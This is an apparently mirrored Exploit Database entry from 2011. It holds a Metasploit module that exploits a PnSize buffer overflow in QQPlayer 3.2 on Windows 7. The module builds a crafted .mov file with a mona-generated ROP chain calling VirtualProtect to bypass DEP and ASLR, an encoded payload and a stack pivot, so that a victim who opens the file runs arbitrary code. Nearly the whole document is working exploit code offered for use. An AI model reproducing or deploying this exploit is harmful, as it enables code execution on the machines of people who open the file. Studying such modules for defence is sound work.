QQPLAYER Player 3.2 – PICT PnSize Buffer Overflow Windows (ASLR + DEP Bypass) (Metasploit)

• Exploit Database
• 31 阅读

• 作者： hellok
  日期： 2011-11-21
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/18137/

• # Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
  # Date: 2011,11,21
  # Author: hellok
  # Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
  # Version: 32_845(lastest)
  # Tested on: WIN7
  require 'msf/core'
  class Metasploit3 < Msf::Exploit::Remote
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
  			'Description'=> %q{
  					This module exploits a vulnerability in QQPLAYER Player 3.2.
  				When opening a .mov file containing a specially crafted PnSize value, an attacker
  				may be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'hellok',#special thank corelanc0d3r for 'mona'
  				],
  			'References' =>
  				[
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "",#Memcpy
  					'EncoderType'=> Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'=>'True',
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ECX',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 7', { 'Ret' => 0x67664cde } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => '11 21 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.','msf.mov' ]),
  			], self.class)
  	end
  	def exploit
  		# !mona rop
  		rop_gadgets = 
  		[
  			
  			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
  			0x12345678,
  			0x67664CE4, 
  			0x01020304,
  			0x10203040,
  			0x22331122,
  			0x23456789,
  			
  			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
  			0x00a9c18c,	# <- *&VirtualProtect() 
  			0x0054f100,	# MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
  			#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
  			0x008cf099,	# XCHG EAX,ESI # RETN
  			
  			0x6497aaad,	# POP EBP # RETN (avformat-52.dll)
  			0x100272bf,	# ptr to 'call esp' (from i18nu.dll)
  			0x005fc00b,	# POP EBX # RETN (QQPlayer.exe)
  			0x00000331,	# <- change size to mark as executable if needed (-> ebx)
  			0x00418007,	# POP ECX # RETN (QQPlayer.exe)
  			0x63d18000,	# RW pointer (lpOldProtect) (-> ecx)
  			0x63d05001,	# POP EDI # RETN (avutil-49.dll)
  			0x63d05002,	# ROP NOP (-> edi)
  			0x008bf00b,	# POP EDX # RETN (QQPlayer.exe)
  			0x00000040,	# newProtect (0x40) (-> edx)
  			0x00468800,	# POP EAX # RETN (QQPlayer.exe)
  			0x90909090,	# NOPS (-> eax)
  			0x008bad5c,	# PUSHAD # RETN (QQPlayer.exe)
  		# rop chain generated by mona.py
  		# note : this chain may not work out of the box
  		# you may have to change order or fix some gadgets,
  		# but it should give you a head start
  		].pack("V*")
  
  		stackpivot = [target.ret].pack('L')
  
  		buffer =rand_text_alpha_upper(90)#2
  		buffer << rop_gadgets
  		buffer << payload.encoded
  
  		junk = rand_text_alpha_upper(2306 - buffer.length)
  
  		buffer << junk
  		buffer << stackpivot
  		buffer << rand_text_alpha_upper(3000)#3000
  
  		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
  		fd = File.open(path, "rb" )
  		sploit = fd.read(fd.stat.size)
  		fd.close
  
  		sploit << buffer
  
  		file_create(sploit)
  	end
  end